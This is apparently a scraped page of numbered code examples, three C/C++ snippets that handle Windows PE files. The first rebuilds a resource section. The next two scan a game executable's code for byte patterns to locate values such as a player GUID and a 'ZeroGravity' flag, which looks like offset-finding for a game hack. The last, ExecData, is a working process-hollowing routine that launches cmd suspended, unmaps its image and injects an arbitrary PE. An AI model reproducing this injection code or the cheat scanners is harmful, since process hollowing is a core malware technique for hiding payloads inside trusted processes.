  if (ntHeaders->OptionalHeader.BaseOfData > sectionHeadersArray[m_dwResourceSectionIndex].VirtualAddress)
    ntHeaders->OptionalHeader.BaseOfData += sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize - dwOldVirtualSize;

  // Refresh the headers of the sections that come after the resource section, and the data directory
  for (i = m_dwResourceSectionIndex + 1; i < ntHeaders->FileHeader.NumberOfSections; i++) {
    if (sectionHeadersArray[i].PointerToRawData) {
      sectionHeadersArray[i].PointerToRawData -= IMAGE_FIRST_SECTION(m_ntHeaders)[m_dwResourceSectionIndex].SizeOfRawData;
      sectionHeadersArray[i].PointerToRawData += dwRsrcSizeAligned;
    }

    // We must find the right data directory entry before we change the virtual address
    unsigned int uDataDirIdx = 0;
    for (unsigned int j = 0; j < ntHeaders->OptionalHeader.NumberOfRvaAndSizes; j++)
      if (ntHeaders->OptionalHeader.DataDirectory[j].VirtualAddress == sectionHeadersArray[i].VirtualAddress)
        uDataDirIdx = j;

    sectionHeadersArray[i].VirtualAddress -= RALIGN(dwOldVirtualSize, ntHeaders->OptionalHeader.SectionAlignment);
    sectionHeadersArray[i].VirtualAddress += RALIGN(sectionHeadersArray[m_dwResourceSectionIndex].Misc.VirtualSize, ntHeaders->OptionalHeader.SectionAlignment);

    // Change the virtual address in the data directory too
    if (uDataDirIdx)
      ntHeaders->OptionalHeader.DataDirectory[uDataDirIdx].VirtualAddress = sectionHeadersArray[i].VirtualAddress;
  }

  // Write the resource section
  WriteRsrcSec(seeker);
  // Advance the pointer
  seeker += dwRsrcSizeAligned;

  // Copy everything that comes after the resource section (other sections and tacked data)
  DWORD dwLeft = m_iSize - (oldSeeker - m_pbPE);
  if (dwLeft)
    CopyMemory(seeker, oldSeeker, dwLeft);

  seeker += dwLeft;
  oldSeeker += dwLeft;

  /**********************************************************
   * To add checksum to the header use MapFileAndCheckSum
   **********************************************************/

  // From now on, we are working on the new PE
  // Freeing the old PE memory is up to the user
  m_pbPE = pbNewPE;
  m_iSize = dwSize;
  m_dosHeader = PIMAGE_DOS_HEADER(m_pbPE);
  m_ntHeaders = ntHeaders;
  // We just wrote the resource section according to m_cResDir, so we don't need to rescan
  // m_dwResourceSectionIndex and m_dwResourceSectionVA have also been left unchanged as
  // we didn't move the resources section

  return pbNewPE;
}
Esempio n. 17
0
VOID scanGetCharacterGuid_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile)
{
	PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew);
    PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1);
    PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress);
    DWORD dwCodeSize = pSecHdr[0].SizeOfRawData;
	PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress);
	DWORD dwRDataSize = pSecHdr[1].SizeOfRawData;
	PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress);
    DWORD dwDataSize = pSecHdr[2].SizeOfRawData;
	
	SetItemStatus(iItem, hwndDlg, "Scanning...");

	// scan data section for "Player_C.h"
	for(DWORD dwDataIndex = 0; dwDataIndex < dwDataSize - (sizeof("Player_C.h") - 1); dwDataIndex++)
	{
		if(MemoryCompare(&pbData[dwDataIndex], (PBYTE)"Player_C.h", sizeof("Player_C.h") - 1))
		{
			// found "Player_C.h", now scan for beginning of the string
			DWORD dwStringIndex;
			for(dwStringIndex = dwDataIndex - 1; dwStringIndex && pbData[dwStringIndex] >= 0x20 && pbData[dwStringIndex] <= 0x7E; dwStringIndex--);
			dwStringIndex++;

			// calculate va of found string
			DWORD dwStringVA = OffsetToRva(pbFile, PtrToUlong(pbData) + dwStringIndex - PtrToUlong(pbFile));
			if(dwStringVA)
			{
				dwStringVA += pNtHdr->OptionalHeader.ImageBase;

				// scan code section for 'mov edx, dwStringVA'
				BYTE bMoveIns[5];
				bMoveIns[0] = 0xBA;
				*((PDWORD)&bMoveIns[1]) = dwStringVA;
				for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - sizeof(bMoveIns); dwCodeIndex++)
				{
					if(MemoryCompare(&pbCode[dwCodeIndex], bMoveIns, sizeof(bMoveIns)))
					{
						// found mov instruction, make sure next instruction is 'mov ecx, constant'
						if(pbCode[dwCodeIndex + 5] == 0xB9)
						{
							// make sure instruction following 'mov ecx, constant' is a call relative
							if(pbCode[dwCodeIndex + 10] == 0xE8)
							{
								// somewhere before the 'mov edx, dwStringVA' instruction there must be this code:
								// call relative
								// push edx
								// push eax
								for(DWORD dwCodeIndex2 = dwCodeIndex - 2; dwCodeIndex - dwCodeIndex2 < 20; dwCodeIndex2--)
								{
									if(*((PWORD)&pbCode[dwCodeIndex2]) == 0x5052 && pbCode[dwCodeIndex2 - 5] == 0xE8)
									{
										// lastly check for a 'push constant' instruction before those two register pushes instruction
										for(DWORD dwCodeIndex3 = dwCodeIndex2 - 5; dwCodeIndex2 - dwCodeIndex3 < 20; dwCodeIndex3--)
										{
											if(pbCode[dwCodeIndex3] == 0x68)
											{
												// we need to decode the call relative preceeding the two register pushes
												
												// calculate va of next instruction following call
												DWORD dwFollowingVA = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex2 - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase;
												if(dwFollowingVA)
												{
													GetPPD(iItem, hwndDlg)->dwValue = dwFollowingVA + *((PDWORD)&pbCode[dwCodeIndex2 - 4]);
													SetItemStatus(iItem, hwndDlg, "Success");
													return;
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}
	GetPPD(iItem, hwndDlg)->dwValue = 0;
	SetItemStatus(iItem, hwndDlg, "Fail");
}
Esempio n. 18
0
VOID scanZeroGravity_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile)
{
	PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew);
    PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1);
    PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress);
    DWORD dwCodeSize = pSecHdr[0].SizeOfRawData;
	PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress);
	DWORD dwRDataSize = pSecHdr[1].SizeOfRawData;
	PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress);
    DWORD dwDataSize = pSecHdr[2].SizeOfRawData;
	
	SetItemStatus(iItem, hwndDlg, "Scanning...");

	// scan for 'and reg, 75BFEDFF'
	for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - 6; dwCodeIndex++)
	{
		if(*((PDWORD)&pbCode[dwCodeIndex]) == 0x75BFEDFF && (pbCode[dwCodeIndex - 1] == 0x25 || ((pbCode[dwCodeIndex - 1] & 0xF8) == 0xE0 && pbCode[dwCodeIndex - 2] == 0x81)))
		{
			// search for long jump or call following and instruction
			for(DWORD dwCodeIndex2 = dwCodeIndex + 4; dwCodeIndex2 - dwCodeIndex < 20; dwCodeIndex2++)
			{
				if(pbCode[dwCodeIndex2] == 0xE9 || pbCode[dwCodeIndex2] == 0xE8)
				{
					// get offset of jump location
					DWORD dwJumpOffset = (dwCodeIndex2 + 5) + *((PDWORD)&pbCode[dwCodeIndex2 + 1]);
					
					// scan for 'test [reg+disp], 4000000h'
					for(DWORD dwCodeIndex3 = dwJumpOffset; dwCodeIndex3 - dwJumpOffset < 500; dwCodeIndex3++)
					{
						if(*((PDWORD)&pbCode[dwCodeIndex3]) == 0x04000000)
						{
							if(pbCode[dwCodeIndex3 - 3] == 0xF7) // short displacement
							{
								// find a je to this instruction
								for(DWORD dwCodeIndex4 = dwCodeIndex3 - 5; dwCodeIndex4 >= dwJumpOffset; dwCodeIndex4--)
								{
									if(pbCode[dwCodeIndex4] == 0x74 && pbCode[dwCodeIndex4+1] == ((dwCodeIndex3 - 3) - (dwCodeIndex4 + 2)))
									{
										// search for 'mov [reg+disp], reg' above the jump
										for(DWORD dwCodeIndex5 = dwCodeIndex4; dwCodeIndex5 >= dwJumpOffset; dwCodeIndex5--)
										{
											if(pbCode[dwCodeIndex5] == 0x89)
											{
												// search for 'mov reg, [reg+disp]
												for(DWORD dwCodeIndex6 = dwCodeIndex5; dwCodeIndex6 >= dwJumpOffset; dwCodeIndex6--)
												{
													if(pbCode[dwCodeIndex6] == 0x8B && (pbCode[dwCodeIndex6+1] & 0x38) == (pbCode[dwCodeIndex5+1] & 0x38))
													{
														GetPPD(iItem, hwndDlg)->dwValue = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase;
														SetItemStatus(iItem, hwndDlg, "Success");
														return;
													}
												}
											}
										}
									}
								}
							}
							else if(pbCode[dwCodeIndex3 - 6] == 0xF7) // long displacement
							{
								// find a je to this instruction
								for(DWORD dwCodeIndex4 = dwCodeIndex3 - 8; dwCodeIndex4 >= dwJumpOffset; dwCodeIndex4--)
								{
									if(pbCode[dwCodeIndex4] == 0x74 && pbCode[dwCodeIndex4+1] == ((dwCodeIndex3 - 6) - (dwCodeIndex4 + 2)))
									{
										// search for mov '[reg+disp], reg' above the jump
										for(DWORD dwCodeIndex5 = dwCodeIndex4; dwCodeIndex5 >= dwJumpOffset; dwCodeIndex5--)
										{
											if(pbCode[dwCodeIndex5] == 0x89)
											{
												// search for 'mov reg, [reg+disp]
												for(DWORD dwCodeIndex6 = dwCodeIndex5; dwCodeIndex6 >= dwJumpOffset; dwCodeIndex6--)
												{
													if(pbCode[dwCodeIndex6] == 0x8B && (pbCode[dwCodeIndex6+1] & 0x38) == (pbCode[dwCodeIndex5+1] & 0x38))
													{
														GetPPD(iItem, hwndDlg)->dwValue = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase;
														SetItemStatus(iItem, hwndDlg, "Success");
														return;
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}

	GetPPD(iItem, hwndDlg)->dwValue = 0;
	SetItemStatus(iItem, hwndDlg, "Fail");
}
Esempio n. 19
0
HRESULT
ExecData(PVOID &pvPEData)
{
	HRESULT hr = S_OK;
	PROCESS_INFORMATION pi;
	STARTUPINFO si = { sizeof si };

	LPTSTR cmdLine = _tcsdup(TEXT("cmd"));

	CreateProcess(NULL, cmdLine, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0,
		&si, &pi);

	CONTEXT context = { CONTEXT_INTEGER };

#ifndef DEFER_INJECT
	GetThreadContext(pi.hThread, &context);

	PVOID x;

	/* Dynamic linking call: */
	HMODULE hMod = GetModuleHandle(L"ntdll.dll");
	pfnZwUnmapViewOfSection pZwUnmapViewOfSection =
		(pfnZwUnmapViewOfSection)GetProcAddress(hMod, "ZwUnmapViewOfSection");

	hr = ReadProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, &x, sizeof x, 0);
	if (FAILED(hr)) {
		/* This is bad, abort! */
		return hr;
	}

	pZwUnmapViewOfSection(pi.hProcess, x);

	PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(
		PCHAR(pvPEData) + PIMAGE_DOS_HEADER(pvPEData)->e_lfanew);

	DWORD   dwLastError = ::GetLastError();

	PVOID q = VirtualAllocEx(pi.hProcess,
		PVOID(nt->OptionalHeader.ImageBase),
		nt->OptionalHeader.SizeOfImage,
		MEM_RESERVE | MEM_COMMIT, PAGE_WRITECOPY);

	WriteProcessMemory(pi.hProcess, q, pvPEData, nt->OptionalHeader.SizeOfHeaders, 0);
	PIMAGE_SECTION_HEADER sect = IMAGE_FIRST_SECTION(nt);

	for (ULONG i = 0; i < nt->FileHeader.NumberOfSections; i++) {
		WriteProcessMemory(pi.hProcess,
			PCHAR(q) + sect[i].VirtualAddress,
			PCHAR(pvPEData) + sect[i].PointerToRawData,
			sect[i].SizeOfRawData, 0);

		ULONG x;
		VirtualProtectEx(pi.hProcess,
			PCHAR(q) + sect[i].VirtualAddress,
			sect[i].Misc.VirtualSize,
			protect(sect[i].Characteristics),
			&x
			);
	}

	WriteProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, &q, sizeof q, 0);
	context.Eax = ULONG(q) + nt->OptionalHeader.AddressOfEntryPoint;
#endif

	SetThreadContext(pi.hThread, &context);
	ResumeThread(pi.hThread);

	return hr;
}